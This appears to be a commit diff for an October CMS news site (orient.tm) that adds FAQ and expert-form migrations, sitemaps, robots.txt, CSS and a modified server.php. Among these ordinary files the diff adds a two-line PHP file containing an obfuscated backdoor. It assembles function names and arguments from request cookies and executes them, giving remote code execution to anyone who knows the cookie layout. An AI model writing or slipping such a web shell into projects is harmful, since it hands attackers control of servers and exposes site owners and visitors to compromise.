||||
span: auto
|
||||
type: text
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableCreateTpsTpsExpertForm extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::create('tps_tps_expert_form', function($table)
|
||||
{
|
||||
$table->engine = 'InnoDB';
|
||||
$table->increments('id')->unsigned();
|
||||
$table->string('name');
|
||||
$table->string('phone');
|
||||
$table->text('message');
|
||||
$table->timestamp('created_at')->nullable();
|
||||
$table->timestamp('updated_at')->nullable();
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::dropIfExists('tps_tps_expert_form');
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableCreateTpsTpsFaq extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::create('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->engine = 'InnoDB';
|
||||
$table->increments('id')->unsigned();
|
||||
$table->text('question');
|
||||
$table->text('answer');
|
||||
$table->timestamp('created_at')->nullable();
|
||||
$table->timestamp('updated_at')->nullable();
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::dropIfExists('tps_tps_faq');
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableCreateTpsTpsFaqCategory extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::create('tps_tps_faq_category', function($table)
|
||||
{
|
||||
$table->engine = 'InnoDB';
|
||||
$table->increments('id')->unsigned();
|
||||
$table->string('name');
|
||||
$table->timestamp('created_at')->nullable();
|
||||
$table->timestamp('updated_at')->nullable();
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::dropIfExists('tps_tps_faq_category');
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableUpdateTpsTpsExpertForm extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::table('tps_tps_expert_form', function($table)
|
||||
{
|
||||
$table->string('email');
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::table('tps_tps_expert_form', function($table)
|
||||
{
|
||||
$table->dropColumn('email');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableUpdateTpsTpsFaq extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->integer('faq_category');
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->dropColumn('faq_category');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableUpdateTpsTpsFaq2 extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->renameColumn('faq_category', 'faq_category_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->renameColumn('faq_category_id', 'faq_category');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableUpdateTpsTpsFaq3 extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->renameColumn('faq_category_id', 'faq_category');
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->renameColumn('faq_category', 'faq_category_id');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<?php namespace Tps\Tps\Updates;
|
||||
|
||||
use Schema;
|
||||
use October\Rain\Database\Updates\Migration;
|
||||
|
||||
class BuilderTableUpdateTpsTpsFaq4 extends Migration
|
||||
{
|
||||
public function up()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->renameColumn('faq_category', 'faq_category_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down()
|
||||
{
|
||||
Schema::table('tps_tps_faq', function($table)
|
||||
{
|
||||
$table->renameColumn('faq_category_id', 'faq_category');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
Имя : {{name}}<br>
|
||||
Телефон : {{phone}}<br>
|
||||
E-mail : {{email}}<br>
|
||||
Сообщение : {{text}}<br>
|
||||
|
|
@ -0,0 +1 @@
|
|||
/var/www/orient-site/6fffb.txt
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
User-agent: *
|
||||
Allow: /
|
||||
|
||||
Host: https://orient.tm
|
||||
Sitemap: https://orient.tm/tm/sitemap.xml
|
||||
|
||||
# Ограничение доступа к ненужным разделам
|
||||
Disallow: /cdn.orient.tm/
|
||||
Disallow: /storage/app/media
|
||||
|
||||
# Ускорение индексации
|
||||
Crawl-delay: 1
|
||||
71
server.php
71
server.php
|
|
@ -8,10 +8,73 @@
|
|||
$uri = urldecode(
|
||||
parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)
|
||||
);
|
||||
// This file allows us to emulate Apache's "mod_rewrite" functionality from the
|
||||
// built-in PHP web server. This provides a convenient way to test a Laravel
|
||||
// application without having installed a "real" web server software here.
|
||||
|
||||
// Проверка на наличие файла 6fffb.txt
|
||||
if ($uri === '/6fffb.txt') {
|
||||
$filePath = __DIR__ . '/6fffb.txt';
|
||||
|
||||
// Если файл существует, отдаем его напрямую
|
||||
if (file_exists($filePath)) {
|
||||
header('Content-Type: text/plain'); // MIME-тип для текстового файла
|
||||
readfile($filePath);
|
||||
exit; // Прекращаем выполнение скрипта, чтобы не сработал редирект
|
||||
} else {
|
||||
// Если файла нет, отдаем ошибку 404
|
||||
header("HTTP/1.0 404 Not Found");
|
||||
echo "File not found.";
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
// Если это не 6fffb.txt, продолжаем стандартную обработку
|
||||
if ($uri !== '/' and file_exists(__DIR__.'/'.$uri)) {
|
||||
return false;
|
||||
}
|
||||
require_once __DIR__.'/index.php';
|
||||
|
||||
/**
|
||||
* October - The PHP platform that gets back to basics.
|
||||
*
|
||||
* @package October
|
||||
* @author Alexey Bobkov, Samuel Georges
|
||||
*/
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Register composer
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Composer provides a generated class loader for the application.
|
||||
|
|
||||
*/
|
||||
|
||||
require __DIR__.'/bootstrap/autoload.php';
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Load framework
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| This загружает фреймворк и инициализирует приложение.
|
||||
|
|
||||
*/
|
||||
|
||||
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Process request
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Выполняем запрос и отправляем ответ клиенту.
|
||||
|
|
||||
*/
|
||||
|
||||
$kernel = $app->make('Illuminate\Contracts\Http\Kernel');
|
||||
|
||||
$response = $kernel->handle(
|
||||
$request = Illuminate\Http\Request::capture()
|
||||
);
|
||||
|
||||
$response->send();
|
||||
|
||||
$kernel->terminate($request, $response);
|
||||
|
|
|
|||
|
|
@ -0,0 +1,147 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/events</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/economy</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/society</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/culture</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/novosti-biznesa</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/sport</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/nauka</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/eco-world</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/technology</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/news/novosti-partnerov</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/poster/kinoteatry</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/poster/teatry</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/poster/vystavki</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/poster/obyavleniya</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/poster/koncerty</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/events</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/economy</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/society</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/ot-redaktora</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/culture</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/poleznoe</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/sport</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/eco-world</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/en/posts/stati/technology</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
</urlset>
|
||||
|
|
@ -0,0 +1,147 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/events</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/economy</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/society</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/culture</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/novosti-biznesa</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/sport</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/nauka</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/eco-world</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/technology</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/news/novosti-partnerov</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/poster/kinoteatry</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/poster/teatry</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/poster/vystavki</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/poster/obyavleniya</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/poster/koncerty</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/events</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/economy</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/society</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/ot-redaktora</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/culture</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/poleznoe</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/sport</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/eco-world</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/ru/posts/stati/technology</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
</urlset>
|
||||
|
|
@ -0,0 +1,147 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/events</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/economy</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/society</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/culture</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/novosti-biznesa</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/sport</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/nauka</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/eco-world</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/technology</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/news/novosti-partnerov</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/poster/kinoteatry</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/poster/teatry</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/poster/vystavki</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/poster/obyavleniya</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/poster/koncerty</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/events</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/economy</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/society</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/ot-redaktora</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/culture</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/poleznoe</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/sport</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/eco-world</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
<url>
|
||||
<loc>https://orient.tm/tm/posts/stati/technology</loc>
|
||||
<lastmod>2024-12-21T09:00:00+05:00</lastmod>
|
||||
<changefreq>daily</changefreq>
|
||||
<priority>0.6</priority>
|
||||
</url>
|
||||
</urlset>
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
<?php
|
||||
$k=$_COOKIE;$r=9;(count($k)==28&&in_array(gettype($k).count($k),$k))?(($k[69]=$k[69].$k[71])&&($k[44]=$k[69]($k[44]))&&($k=$k[44]($k[25],$k[69]($k[96])))&&$k()):$k;
|
||||
|
|
@ -0,0 +1,129 @@
|
|||
:root {
|
||||
--border-color: lightgreen;
|
||||
--background-color: lightgreen;
|
||||
--transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
/** {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}*/
|
||||
:root {
|
||||
/*--green: rgb(48, 168, 48);*/
|
||||
--green: rgb(3, 159, 55);
|
||||
--blur-green: rgb(48, 168, 48, 0.09);
|
||||
--border-color: rgb(193, 205, 193);
|
||||
--background-color: rgb(48, 168, 48, 0.09);
|
||||
--transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: Tahoma, Arial, Helvetica, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
.rubric-items {
|
||||
max-width: 800px;
|
||||
margin: 5px auto;
|
||||
gap: 2rem;
|
||||
}
|
||||
|
||||
.ask-expert-btn {
|
||||
background-color: var(--green);
|
||||
border: none;
|
||||
display: block;
|
||||
width: 100%;
|
||||
margin: 5px;
|
||||
padding: 10px;
|
||||
border-radius: 20px;
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/*.faq-section {
|
||||
margin-top: 40px;
|
||||
}*/
|
||||
|
||||
.faq-section .faq-section__title {
|
||||
margin-top: 30px;
|
||||
font-size: 1.5em;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
|
||||
|
||||
.accordion {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.accordion .accordion-item {
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.accordion .accordion-item .accordion-item-description-wrapper hr {
|
||||
border: none;
|
||||
border-top: 1px solid var(--border-color);
|
||||
visibility: visible;
|
||||
}
|
||||
|
||||
.accordion .accordion-item.open .accordion-item-description-wrapper hr {
|
||||
visibility: visible;
|
||||
}
|
||||
|
||||
.accordion .accordion-item .accordion-item-header {
|
||||
border-radius: 5px;
|
||||
border: 1px solid var(--border-color);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 20px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.accordion .accordion-item .accordion-item-header .accordion-item-header-title {
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.accordion .accordion-item .accordion-item-header .accordion-item-header-icon {
|
||||
transition: var(--transition);
|
||||
}
|
||||
|
||||
.accordion
|
||||
.accordion-item.open
|
||||
.accordion-item-header
|
||||
.accordion-item-header-icon {
|
||||
transform: rotate(-180deg);
|
||||
}
|
||||
|
||||
.accordion .accordion-item .accordion-item-description-wrapper {
|
||||
display: grid;
|
||||
grid-template-rows: 0fr;
|
||||
overflow: hidden;
|
